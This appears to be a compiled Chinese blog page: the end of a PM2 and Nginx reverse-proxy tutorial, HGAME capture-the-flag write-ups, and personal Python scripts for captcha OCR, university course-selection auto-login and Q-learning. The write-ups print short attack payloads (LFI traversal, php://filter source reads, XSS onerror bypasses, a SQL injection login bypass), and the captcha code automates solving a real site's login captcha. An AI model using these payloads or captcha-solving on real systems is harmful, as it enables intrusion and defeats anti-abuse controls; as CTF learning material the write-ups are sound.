Aug 19 12:02:46 my-remote-server pm2[10726]:  Use `pm2 show <id|name>` to get more details about an app
Aug 19 12:02:46 my-remote-server systemd[1]: Started PM2 next gen process manager for Node.js.
dennis@my-remote-server:~$

关于systemctl命令,强烈建议看下这个教程

踩坑提醒

如果出现下面的错误:

dennis@my-remote-server:~$ sudo su -c "env PATH=$PATH:/home/dennis/.nvm/versions/node/v6.4.0/bin pm2 startup systemd -u dennis --hp /home/dennis"
[PM2] Generating system init script in /etc/systemd/system/pm2.service
[PM2] Making script booting at startup...
[PM2] -systemd- Using the command:
      su dennis -c "pm2 dump && pm2 kill" && su root -c "systemctl daemon-reload && systemctl enable pm2 && systemctl start pm2"
Command failed: su dennis -c "pm2 dump && pm2 kill" && su root -c "systemctl daemon-reload && systemctl enable pm2 && systemctl start pm2"
/usr/bin/env: 'node': No such file or directory

----- Are you sure you use the right platform command line option ? centos / redhat, amazon, ubuntu, gentoo, systemd or darwin?

则可能是因为我们的node是使用nvm安装的原因。为/usr/bin/node添加一个软连接即可。

sudo ln -s  /home/dennis/.nvm/versions/node/v6.4.0/bin/node /usr/bin/node

PM2常用命令

停止应用
pm2 stop app_name_or_id
重启应用
pm2 restart app_name_or_id
列举应用
pm2 list
查看应用详情
pm2 info example
监控应用
pm2 monit

使用Nginx作Node.js应用程序的反向代理

创建Node.js应用程序

我们已经有了一个hello.js应用,于此类似,再创建一个foo.js的应用。创建文件foo.js,代码如下:

#!/usr/bin/env nodejs
var http = require('http');
http.createServer(function (req, res) {
  res.writeHead(200, {'Content-Type': 'text/plain'});
  res.end('Foo Bar\n');
}).listen(8081, 'localhost');
console.log('Server running at http://localhost:8081/');

监听端口8081. 启动该应用程序:

pm2 start foo.js

这个时候我们看到已经有两个Node.js应用在运行了:

dennis@my-remote-server:~$ pm2 list
┌──────────┬────┬──────┬───────┬────────┬─────────┬────────┬─────────────┬──────────┐
│ App name │ id │ mode │ pid   │ status │ restart │ uptime │ memory      │ watching │
├──────────┼────┼──────┼───────┼────────┼─────────┼────────┼─────────────┼──────────┤
│ hello    │ 0  │ fork │ 10742 │ online │ 0       │ 46m    │ 21.570 MB   │ disabled │
│ foo      │ 1  │ fork │ 10897 │ online │ 0       │ 8s     │ 20.051 MB   │ disabled │
└──────────┴────┴──────┴───────┴────────┴─────────┴────────┴─────────────┴──────────┘
 Use `pm2 show <id|name>` to get more details about an app

设置Nginx

前面我们讲过,Nginx的默认配置文件为/etc/nginx/sites-available/default。我们新建了两个站点,分别对应下面的配置文件:

/etc/nginx/sites-available/example.com
/etc/nginx/sites-available/test.com

这里我们可以修改默认的配置,也可以选择修改任意一个域名的配置。我们就以example.com为例。
/etc/nginx/sites-available/example.com文件的内容全部删除,并修改内容为:

server {
    listen 80;

    server_name example.com;

    location / {
        proxy_pass http://localhost:8080;
        proxy_http_version 1.1;
        proxy_set_header Upgrade $http_upgrade;
        proxy_set_header Connection 'upgrade';
        proxy_set_header Host $host;
        proxy_cache_bypass $http_upgrade;
    }
}

重新加载一下Nginx的配置使其生效:

sudo systemctl restart nginx

简单解释一下,这个配置的作用就是,监听服务器的80端口,并反向代理到8080端口去,也就是我们的hello应用。也就是说当用户通过浏览器访问http://example.com/的时候,将会将用户请求发给我们的hello.js应用,就会在页面上显示”Hello World”字样。

多应用设置

如果需要设置对多个Node.js应用的访问,我们可以在Nginx中增加响应的配置即可。以上面创建的foo.js应用为例:

location /app2 {
        proxy_pass http://localhost:8081;
        proxy_http_version 1.1;
        proxy_set_header Upgrade $http_upgrade;
        proxy_set_header Connection 'upgrade';
        proxy_set_header Host $host;
        proxy_cache_bypass $http_upgrade;
    }

使用命令sudo systemctl restart nginx重启nginx之后,就可以通过访问http://example.com/app2来查看foo.js应用的结果”Foo Bar”了。

写在最后

本文只是简单的带着大家配置一台可用的Web服务器,但是必然会有很多知识点没有涉及到。这就需要我们在碰到问题的时候多去Google了。比如下面的Topic,有兴趣的可以自行研究下。

  1. Linux/Ubuntu上的一键安装包,有些比较好用,比如lemp-wordpress-stack.
  2. Ubuntu上Docker的安装与使用
  3. 使用Let’s Encrypt进行全站HTTPS(可以参考这篇文章)
  4. 科学上网:ubuntu 16.04服务器上搭建Shadowsocks服务(如果大家感兴趣,后边再讲)
  5. 同时使用apache和nginx,可以参考这篇文章

Reference:

how-to-install-linux-nginx-mysql-php-lemp-stack-in-ubuntu-16-04
how-to-edit-the-sudoers-file-on-ubuntu-and-centos
how-to-set-up-a-host-name-with-digitalocean
how-to-host-multiple-websites-securely-with-nginx-and-php-fpm-on-ubuntu-14-04
how-to-configure-nginx-as-a-web-server-and-reverse-proxy-for-apache-on-one-ubuntu-16-04-server
how-to-install-nginx-on-ubuntu-16-04
how-to-install-node-js-on-ubuntu-16-04
systemd-essentials-working-with-services-units-and-the-journal
how-to-install-and-secure-phpmyadmin-on-ubuntu-16-04
how-to-secure-nginx-with-let-s-encrypt-on-ubuntu-16-04
lemp-stack-monitoring-with-monit-on-ubuntu-14-04
how-to-install-laravel-with-an-nginx-web-server-on-ubuntu-14-04
how-to-secure-nginx-on-ubuntu-14-04

作者:令狐葱001
链接:https://www.jianshu.com/p/3eeb365dd41b
來源:简书
著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。

HGAME——WEEK2

week2_ckj123

这篇是第二周的writeup,pwn也太难了吧!!!!!绝望我觉得我还是只能做做web,靠着大二的一些基础做些加密,绝望,希望能留下来,图片不能黏贴具体的请看=。=我的doc

Web

草莓社区-1

 

hint给的提示是LFI上网查了一下就是本地文件包含漏洞(Local File Include),猜测一下他的代码应该是include $_GET[‘mao’],这样就可以通过get请求来获得文件目录下的源代码来了,构造payload mao=../flag.php,然后我在Chrome上一直显示不出来,第二天起床换了360直接就出来了感谢web客服大佬帮我解决了疑问

 

草莓社区-2

 

这道题hint给的也是LFI然后我一直按照之前的套路试结果发现不行,浏览器一直会报错告诉我错误这次我觉得可能代码是

require $_GET[‘mao’] 后来查一下决定用一下那个伪协议来试一试

Payload: php://filter/read=convert.base64-encode/resource=../flag.php,要说为什么想到这个真的是死马当成活马医了吧=。=然后使用360浏览器打开获得base64加密的一串字母解密后获得源代码,就有flag了,毛片超好看=。=

<?php

$flag=”hgame{!m4o_pi4n_ChaO_hao_kan!}”;

 

Xss-1

 

首先看源代码gi表示全局匹配,大小写都会被替换掉,所以image和script都不能用,但还是可以用最普通的img标签,构造一个payload <img src=””onerror=”alert(1)”> ,发现

Alert(1)的括号被替换了,那么就发现那个只能替换一次所以在前面在加一个左括号就行所以payload

<img src=””(onerror=”alert(1)”>就行

 

Xss-2

 

按照上题思路(>只能被替换一次就直接先输入了然后闭合这个input标签,然后就可以随便找个标签产生错误用onerror来alert(1)就行,构造payload:

(>”> <link rel=”stylesheet” type=”text/css” href=”null” onerror=”alert(1)” >

 

 

最简单的sql题

 

我看了一下他最后和最前面会加上一个单引号那就使得sql语句为’suibian’ or ‘1’=’1’ 就行所以构造payload

Sadf’ or ‘a’=’a 用户名随便就可以登录了得到flag

 

Misc

Easypassword

 

题目给了hint说暴力破解,想了想觉得破解的时候还可以做题就暴力破解了,因为是zip压缩格式就用了ziperello软件大概跑了一小时吧跑出来了答案解压缩里面一个就是txt就是flag

 

Crypto

Easy rsa

 

这道题是关于Rsa算法,然后我就上网学习了一下rsa算法

我觉得最有用的网站是

http://blog.csdn.net/dbs1215/article/details/48953589

这个网址十分详细的介绍了rsa算法

 

 

根据这两个和两个软件我觉得很好用

 

 

一个用来计算D 一个用来计算明文的值,先使用yafu来分解N得到p q,再把p q输入rsatool自动得到D

 

算出明文的十进制之后用python跑一下就得到flag了

 

 

 

 

 

 

Caesar&&Caesar

 

这道题是维吉尼亚加密,虽然说校内人员需要一定的解题思路,但是我用了网上的方法只能判断他的秘钥是7或者14的长度=。=然后就陷入僵局,Google到一个神奇的网站

然后百度一下第一句话就知道是百年孤独了

One Hundred Years of Solitude就是flag

 

Violence

 

这道题的给的hint是暴力破解我看了一下源码,这个有点像仿射加密,但也有点不同,所以我就强行暴力破解

主要的也是将每种可能性都显示出来然后我那时候是用人眼看的一个一个找因为是有意义的字母,然后我发现有一个是全英文的我就做flag输出成功了

 

 

 

HGAME——week1

week1_ckj123   

writeup文件

Web:

 

1.Are you from Europe?

这道题目是我最先解出来的题目F12发现源代码然后发现

这怕不是假的吧。

我就复制黏贴到我的pycharm改成100在本地浏览器打开,就弹出来了=。=奇奇怪怪的方法

 

2.Special number

 

这道题是PHP的弱类型,看到了正则表达式学习了正则表达式,一开始我还以为是绕过正则表达式,然后上网查了什么MD5加密绕过发现差不多,0e00000000也符合正则表达式要求了,就试一试然后就拿到了flag,主要的就是转为数组的时候别的字符串都会变为NULL然后就不匹配,而0e000000会变成0,那个字符串也会变成0然后就匹配

 

 

3.Can you find me?

 

这道题的提示是robot然后我就想起来有个协议就是主目录下有个robot.txt来决定爬虫是怎么爬,然后进入robot.txt,里面有提示

进入之后改一下admin为1就好了

 

4.Tell me what you want

 

先提交会发现他要求是post,然后F12改一下提交为post,之后就是要是当地,上网查了一下,就是请求头里面有一个X-Forwarded-For这个是伪造IP请求,发现这道题就是改请求头的,之后就是user-agent 改为 IceFox 56.0,按照要求改下去就可以拿到flag了我使用bp的不难

 

 

 

5.我们不一样

 

这个又是php的弱口令上网查了一下空数组可以绕过,写了一个python的post请求就拿到了

 

 

Re

 

太垃圾=。=re只解了两道题

 

1.Re0

 

里面有一个strcmp函数自带答案=。=

 

2.Nop_pop

 

提示是用WinRAR去广告窗没有用过。。我是一步一步用ollydbg调出来然后把关键的语句去了就好

就是标注的那一段

 

 

 

 

Misc

 

1.白菜2

 

想吐槽白菜1是假的LSB吧,我用stegsolve看的眼睛都瞎了都没找出来,图片下载下载用binwalk知道了里面还有rar文件,然后打开里面就有flag.txt

 

2.Pacp1

 

用wireshark打开之后。。里面就有找一找,随便打开,刚好是。。

 

 

 

Cypto

 

1.Easy Caeser

 

用在线解密解了一下密结果发现不对hgame{The_qu8ck_br7wn_1x_jUmps_ovEr_a_La9y_dOg}

然后说要看语义,看了一下原文是the quick brown fox jumps over a lazy dog

改了一下数字。。。真鸡儿坑hgame{The_qu1ck_br0wn_4x_jUmps_ovEr_a_La2y_dOg}

 

2.Polybius

 

轮盘加密

学习了一下,那个j的地方是i/j都可以的,答案是i,我都试了一下=。=,反正就出来了

hgame{fritz_nebel_invented_it}

验证码识别(完整版)

因为最近要考试=。=没时间写就贴个代码

=================test.py==============================

import time
import pyautogui
# screenWidth, screenHeight = pyautogui.size()
# currentMouseX, currentMouseY = pyautogui.position()
# pyautogui.moveTo(100, 150)
# pyautogui.click()
# #  鼠标向下移动10像素
# pyautogui.moveRel(None, 10)
# pyautogui.doubleClick()
# #  用缓动/渐变函数让鼠标2秒后移动到(500,500)位置
# #  use tweening/easing function to move mouse over 2 seconds.
# pyautogui.moveTo(1800, 500, duration=2, tween=pyautogui.easeInOutQuad)
# #  在每次输入之间暂停0.25秒
# pyautogui.typewrite('Hello world!', interval=0.25)
# pyautogui.press('esc')
# pyautogui.keyDown('shift')
# pyautogui.press(['left', 'left', 'left', 'left', 'left', 'left'])
# pyautogui.keyUp('shift')
# pyautogui.hotkey('ctrl', 'c')
# try:
#     while True:
#         time.sleep(1)
#         x, y = pyautogui.position()
#         print(x,y)
# except KeyboardInterrupt:
#     print('\nExit.')
# pyautogui.keyDown('alt')
# # pyautogui.press('tab')
# pyautogui.keyUp('alt')
def move():
        pyautogui.moveTo(939,502)
        pyautogui.click()
        pyautogui.keyDown('ctrl')
        for i in range(11):
            pyautogui.scroll(100)
        pyautogui.keyUp('ctrl')
def movept():
    pyautogui.moveTo(115, 1002)
    pyautogui.click()

def scshot():
    im=pyautogui.screenshot('1.jpg',region=(230,972,114,50))


def print(str):
    pyautogui.typewrite(str,0.25)

def delete():
    pyautogui.moveTo(184,975)
    pyautogui.click()
    pyautogui.press(['backspace','backspace','backspace','backspace','backspace','backspace'])
    pyautogui.moveTo(939,502)
    pyautogui.click()

def end():
    pyautogui.hotkey('ctrl','0')

============================yanzhengma.py=======================

#coding:utf-8
import cv2
from  PIL import Image
import subprocess
import requests
from bs4 import BeautifulSoup
import re
import os
import time
from selenium import webdriver
from urllib.request import urlopen
import test
def image_area(area):
    img_1=Image.open(area)
    img=cv2.imread(area)
    # cv2.namedWindow("image")
    # cv2.imshow("image",img)
    # cv2.waitKey(1)
    # cv2.destroyWindow("image")
    gray=cv2.cvtColor(img,cv2.COLOR_BGR2GRAY)
    _, inv=cv2.threshold(gray,180,255,cv2.THRESH_BINARY_INV)
    for i in range(len(inv)):
        for j in range(len(inv[i])):
            if inv[i][j]==255:
                count=0
                for k in range(-2,3):
                    for l in range(-2,3):
                        try:
                            if inv[i+k][j+l]==255:
                                count+=1
                        except IndexError:
                            pass
                if count <=8:
                    inv[i][j]=0
    dilation=cv2.dilate(inv,(8,8),iterations=1)
    cv2.imwrite('C:\\Users\\assu\\Pictures\\test.jpg', dilation)
    # cmd='tesseract C:\\Users\\assu\\Pictures\\test.jpg C:\\Users\\assu\\Pictures\\result'
    # cmd=cmd.encode(locale.getdefaultlocale()[1])
    f=open('C:\\Users\\assu\\Pictures\\result.txt','w')
    image='C:\\Users\\assu\\Pictures\\test.jpg'
    child = subprocess.Popen('tesseract C:\\Users\\assu\\Pictures\\test.jpg C:\\Users\\assu\\Pictures\\result',
                             shell=True, cwd='C:\\Users\\assu')
    child.wait()
    # os.system(cmd)
    text = open('C:\\Users\\assu\\Pictures\\result.txt',encoding='utf-8').read().strip()
    # #os.remove(image)
    # print("验证码为" + text)
    return text

def Pt(x):
    head="C:\\Users\\assu\\Pictures\\"
    head_2="C:\\Users\\assu\\PycharmProjects\\yanzhengma\\yanzheng\\"
    test.move()
    for i in range(1,x):
        test.movept()
        time.sleep(0.5)
        test.scshot()
        area=head_2+"1.jpg"
        text=image_area(area)
        test.print(text)
        test.delete()
    test.end()

def getimage():
    url='http://z2.micinv.com/SignIn.aspx'
    head='http://z2.micinv.com/'
    html=requests.get(url)
    bs=BeautifulSoup(html.text,'lxml')
    vaild=bs.select("#validatecode")
    weiba=vaild[0].get("src")
    url_1=head+weiba
    return url_1

def download_image(url,i=1):
    filename=url.split('/')[-1]
    ext=filename.split('.')[-1]
    filename='{}'.format(i)+'.jpg'
    url_save = 'C:\\Users\\assu\\Pictures\\'
    try:
        image=urlopen(url)
        f=open(os.path.join(url_save,filename),'wb')
        f.write(image.read())
        f.close()
    except:
        print("{}无法读取".format(filename))
    print(filename)

def deleteimage():
    for i in range(600):
        image='C:\\Users\\assu\\Pictures\\{}.jpg'.format(i)
        try:
            os.remove(image)
        except:
            print("不存在")
#area=getimage()
#print(area)
#for i in range(1000):
#    download_image(area,i)
Pt(10)

跟我电脑的屏幕大小适配不知道别的行不行

功能实现视频嘻嘻

杭电选课自动登录

#coding:utf-8
import cv2
from PIL import Image
import subprocess
import requests
from bs4 import BeautifulSoup
import re
import os
from selenium import webdriver
from selenium.webdriver.common.keys import Keys
from urllib.request import urlopen
# import yanzheng.yanzhengma
import time
from selenium.webdriver.support.wait import WebDriverWait
from selenium.webdriver.support import expected_conditions as EC

url_agree=’http://jxgl.hdu.edu.cn/xs_main.aspx?xh=16184117′
url=”http://jxgl.hdu.edu.cn/”
chromedriver=’C:\\Users\\assu\\AppData\\Local\\Google\\Chrome\\Application\\chromedriver.exe’
os.environ[“webdriver.chrome.driver”]=chromedriver
driver=webdriver.Chrome(chromedriver)
driver.get(url)
driver.find_element_by_id(‘username’).send_keys(‘********’)#自己的学号
pwd=driver.find_element_by_id(‘password’)
print(pwd.text)
pwd.send_keys(‘********’)#自己密码
pwd.send_keys(Keys.RETURN)
time.sleep(2)
print(driver.get_window_position())
driver.maximize_window()
print(driver.get_window_position())
driver.find_element_by_link_text(‘网上选课’).click()
driver.find_element_by_link_text(‘选体育课’).click()
# tag=driver.find_element_by_tag_name(“ListBox1”)
# print(tag.text)
# time.sleep(1)
# # driver.find_element_by_link_text(‘体育-网球(男)‖1.0‖汤更国‖‖周五第3,4节{第1-16周}‖西边网球场‖35‖‖,公办本科2017级男生,公办本科2016级男生,‖下沙’).click()
# # driver.find_element_by_id(‘RadioButtonList1_0’).click()
# driver.find_element_by_tag_name(“ListBox1”)
id=driver.find_element_by_id(‘RadioButtonList1’)
print(id.text)

验证码识别

#coding:utf-8
import cv2
from  PIL import Image
import subprocess
import requests
from bs4 import BeautifulSoup
import re
import os
from selenium import webdriver
from urllib.request import urlopen
def image_area(area):
    img_1=Image.open(area)
    img=cv2.imread(area)
    cv2.namedWindow("image")
    cv2.imshow("image",img)
    cv2.waitKey(0)
    cv2.destroyWindow("image")
    gray=cv2.cvtColor(img,cv2.COLOR_BGR2GRAY)
    _, inv=cv2.threshold(gray,180,255,cv2.THRESH_BINARY_INV)
    for i in range(len(inv)):
        for j in range(len(inv[i])):
            if inv[i][j]==255:
                count=0
                for k in range(-2,3):
                    for l in range(-2,3):
                        try:
                            if inv[i+k][j+l]==255:
                                count+=1
                        except IndexError:
                            pass
                if count <=12:
                    inv[i][j]=0
    dilation=cv2.dilate(inv,(10,10),iterations=1)
    cv2.imwrite('C:\\Users\\assu\\Pictures\\test.jpg', dilation)
    # cmd='tesseract C:\\Users\\assu\\Pictures\\test.jpg C:\\Users\\assu\\Pictures\\result'
    # cmd=cmd.encode(locale.getdefaultlocale()[1])
    f=open('C:\\Users\\assu\\Pictures\\result.txt','w')
    image='C:\\Users\\assu\\Pictures\\test.jpg'
    child = subprocess.Popen('tesseract C:\\Users\\assu\\Pictures\\test.jpg C:\\Users\\assu\\Pictures\\result',
                             shell=True, cwd='C:\\Users\\assu')
    child.wait()
    # os.system(cmd)
    text = open('C:\\Users\\assu\\Pictures\\result.txt',encoding='utf-8').read(4).strip()
    #os.remove(image)
    print("验证码为" + text)

def Pt(x):
    for i in range(1,x):
        area="C:\\Users\\assu\\Pictures\\"+"{0}".format(i)+".jpg"
        image_area(area)

def getimage():
    url='http://z2.micinv.com/SignIn.aspx'
    head='http://z2.micinv.com/'
    html=requests.get(url)
    bs=BeautifulSoup(html.text,'lxml')
    vaild=bs.select("#validatecode")
    weiba=vaild[0].get("src")
    url_1=head+weiba
    return url_1

def download_image(url,i=1):
    filename=url.split('/')[-1]
    ext=filename.split('.')[-1]
    filename='{}'.format(i)+'.jpg'
    url_save = 'C:\\Users\\assu\\Pictures\\'
    try:
        image=urlopen(url)
        f=open(os.path.join(url_save,filename),'wb')
        f.write(image.read())
        f.close()
    except:
        print("{}无法读取".format(filename))
    print(filename)

#area=getimage()
#print(area)
#for i in range(1000):
#    download_image(area,i)
Pt(2)

Qlearning算法

import numpy as np
import random
# 建立 Q 表
q = np.zeros((6, 6))
q = np.matrix(q)
# 建立 R 表
r = np.array([[-1, -1, -1, -1, 0, -1],
              [-1, -1, -1, 0, -1, 100],
              [-1, -1, -1, 0, -1, -1],
              [-1, 0, 0, -1, 0, -1],
              [0, -1, -1, 0, -1, 100],
              [-1, 0, -1, -1, 0, 100]])
r = np.matrix(r)
# 贪婪指数
gamma = 0.8
for i in range(100):
    # 对每一个训练,随机选择一种状态
    state = random.randint(0, 5)
    while state != 5:
        # 选择r表中非负的值的动作
        r_pos_action = []
        for action in range(6):
            if r[state, action] >= 0:
                r_pos_action.append(action)
        next_state = r_pos_action[random.randint(0, len(r_pos_action) - 1)]
        q[state, next_state] = r[state, next_state] + gamma * q[next_state].max()
        state = next_state
print(q)
print(r_pos_action)
# 验证

for i in range(10):
    print("第{}次验证".format(i + 1))

    state = random.randint(0, 5)
    print('机器人处于{}'.format(state))
    count = 0
    while state != 5:
        if count > 20:
            print('fail')
            break
        # 选择最大的q_max
        q_max = q[state].max()

        q_max_action = []
        for action in range(6):
            if q[state, action] == q_max:
                q_max_action.append(action)

        next_state = q_max_action[random.randint(0, len(q_max_action) - 1)]
        print("the robot goes to " + str(next_state) + '.')
        state = next_state
        count += 1